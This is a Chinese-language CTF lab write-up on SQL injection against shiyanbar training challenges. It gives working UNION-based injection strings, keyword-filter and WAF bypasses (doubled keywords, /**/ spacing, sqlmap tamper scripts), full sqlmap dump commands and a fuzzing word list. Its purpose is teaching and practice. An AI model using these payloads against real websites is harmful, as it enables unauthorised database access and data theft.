简单的SQL注入--实验吧

预备知识

以查询命令为例，SQL语句在后台大致可以翻译为

    Select …… from … where …=…

我们注入的原理为破坏原有的参数，对语句进行重构从而达到获取数据库内容。这一过程即所谓寻找注入点。基本流程为：

	判断是否可注入->判断注入类型->判断查询字段数目->判断过滤词并进行绕过
	->查找库->查找表->查找列->查找对应内容获取信息。

1.基于报错的检测方法

	直接加'：.....?id=1' 

结果类似Select …from … where id=’ ’ ’
此时形成单数个引号，使得有一个引号没有闭合从而发生报错。

2.基于布尔的检测方法：
数字型:

1.and 1 =1: .....?id=1 and 1=1
2.and 1 =2: .....?id=1 and 1=2

字符型:

1.and '1' ='1: .....?id=1' and '1'='1
2.and '1' ='2: .....?id=1' and '1'='2 

结果类似于SELECT …from … where id=’ 1’ and ‘1’='1 ’
基本上当第一条为真第二条为假时，说明了出现SQL可注入请况。

3.注入语句Union简介(前跟1’ )

  1.判断列数：

 union select 1,2,3,..........  直到页面返回正常

  2.查库：

union select database(),2,3,4,5   1的位置将会返回数据库的名字
数据库名 database()，数据库版本 version()
数据库用户 user()，操作系统 @@version_compile_os

  3.查表

union select table_name 1,2.....from information_schema.tables where '1'='1

  4.查列

union select column_name 1,2.... from information_schema.columns where '1'='1

  5.查数据

union select flag from flag where '1'='1    根据具体最终情况具体查找  

  更多的注入方法可以参考:
  https://blog.csdn.net/qq_39480875/article/details/90451981

4.关键词被过滤：

  1.大小写交替

  2.双写(双写后要加双空格，且仅对语句而非数据名进行双写）

  3.交叉

5.注释符被过滤：

  1.用 '号闭合

  2.空格被过滤使用+，/**/，%0a替代

正题

第一题：http://ctf5.shiyanbar.com/423/web/
输入1后不报错，输入1’后出现以下报错

说明注入点存在，问题为字符型问题。根据题目提示，猜测存在过滤词。输入命令

1'and'1'='1或1' and'1'='1

1'and '1'='1

1' and '1'='1

出现空白界面

1' or '1'='1

列出所有内容
以上命令不同点在于空格的有无与and的存在，可以猜想过滤了空格与and
根据上面提到的绕过方法，双写and来验证and过滤

1' andand  '1'='1

使用/**/验证空格过滤

1'/**/and/**/'1'='1

接下来开始手工注入sql代码

查库：

	1'  unionunion  selectselect  schema_name fromfrom  information_schema.schemata wherewhere  '1'='1

查表：

	1'  unionunion  selectselect  table_name fromfrom  information_schema.tables wherewhere  '1'='1

查数据：

	1' unionunion  selectselect  flag fromfrom  flag wherewhere  '1' ='1

解毕。

第二题：http://ctf5.shiyanbar.com/web/index_2.php
与第一题尝试内容以及过程结果一模一样,但是发现双写会出现报错。

所以接下来采用/**/写法
查找库：

1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1

查找表：

1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1

查找列：

1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1

解毕。

第三题：http://ctf5.shiyanbar.com/web/index_3.php

输入1’ and ‘1’='2发现空白，其余尝试都是输出hello，为盲注

使用sqlmap进行注入。由上题已知共有3列表，所以id设3进行尝试。

查找库：

py sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_3.php?id=3" --dbs

查找表：

py sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_3.php?id=3"  --tables -D "web1"

爆字段：

py sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_3.php?id=3" --columns -T "flag" -D "web1"

选择字典位置

选择解码线程数

此时解得结果显示为非整型与整型。

查找数据：

Py sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_3.php?id=3" --dump -C "flag" -T "flag" -D "web1"

解毕。

现在再次回到第一题，使用sqlmap进行尝试

查找库：

py sqlmap.py -u "http://ctf5.shiyanbar.com/423/web/?id=3" --dbs

但是此时发现一直加载在这个命令

根据第一题结果明显出现异常，所以猜想过滤的关键词造成了影响。这里添加
–tamper=space2comment绕过WAF(即Web应用程序防火墙)的敏感字符过滤。
–tamper利用给定的脚本篡改数据，此处的space2comment为使用//替代空格。
查找库：

py sqlmap.py -u "http://ctf5.shiyanbar.com/423/web/?id=3" --tamper=space2comment --dbs

查找表：

py sqlmap.py -u "http://ctf5.shiyanbar.com/423/web/?id=3" --tamper=space2comment --tables -D "web1"

查找字段：

py sqlmap.py -u "http://ctf5.shiyanbar.com/423/web/?id=3" --tamper=space2comment --columns -T "flag" -D "web1"

查找数据：

py sqlmap.py -u "http://ctf5.shiyanbar.com/423/web/?id=3" --tamper=space2comment --dump -C "flag" -T "flag" -D "web1"

详细的tamper绕过命令可参考：https://blog.csdn.net/qq_34398519/article/details/89055910

sqlmap注意事项：
1.最好要在Python2的版本下运行，python3下不能正常工作。
2.如果扫描完毕后再次扫描一次时会发现内容为上一次扫描结果。原因在于sqlmap会将日志保存在另一个文件夹中，位置为运行程序完毕后最下方的路径。

Dump文件夹内存储excel格式的数据，log内存储每次搜索结果，session.sqlite内存储session信息，target内保存最近一条命令

问题：
1./**/与双写以及其他绕过方式区别在哪里？
  原因在于过滤关键词方法不同。
  具体可参考 https://blog.csdn.net/huanghelouzi/article/details/82995313
2.为什么sqlmap运行查找字段时与其他题解不一致
  尚未解决，猜想是过滤选项选择有缺失或是组件缺少无法进一步编码。
3.是否有更高效的检索过滤词方法
  使用burpsuite的Intruder模块进行fuzz测试，字典内添加常用的语句内容，根据测试出来的长度来判断是否过滤。下给出网上搜寻到的字典

and or = > < ( ) () ’ " regexp
substr mid left join rigth like select from union , updatexml extractvalue exp
char ascii insert into delete update alter create where /* */ – – # all
distinct not as order by desc
asc having floor geometrycollection polygon
multipoint multilinestring linestring multipolygon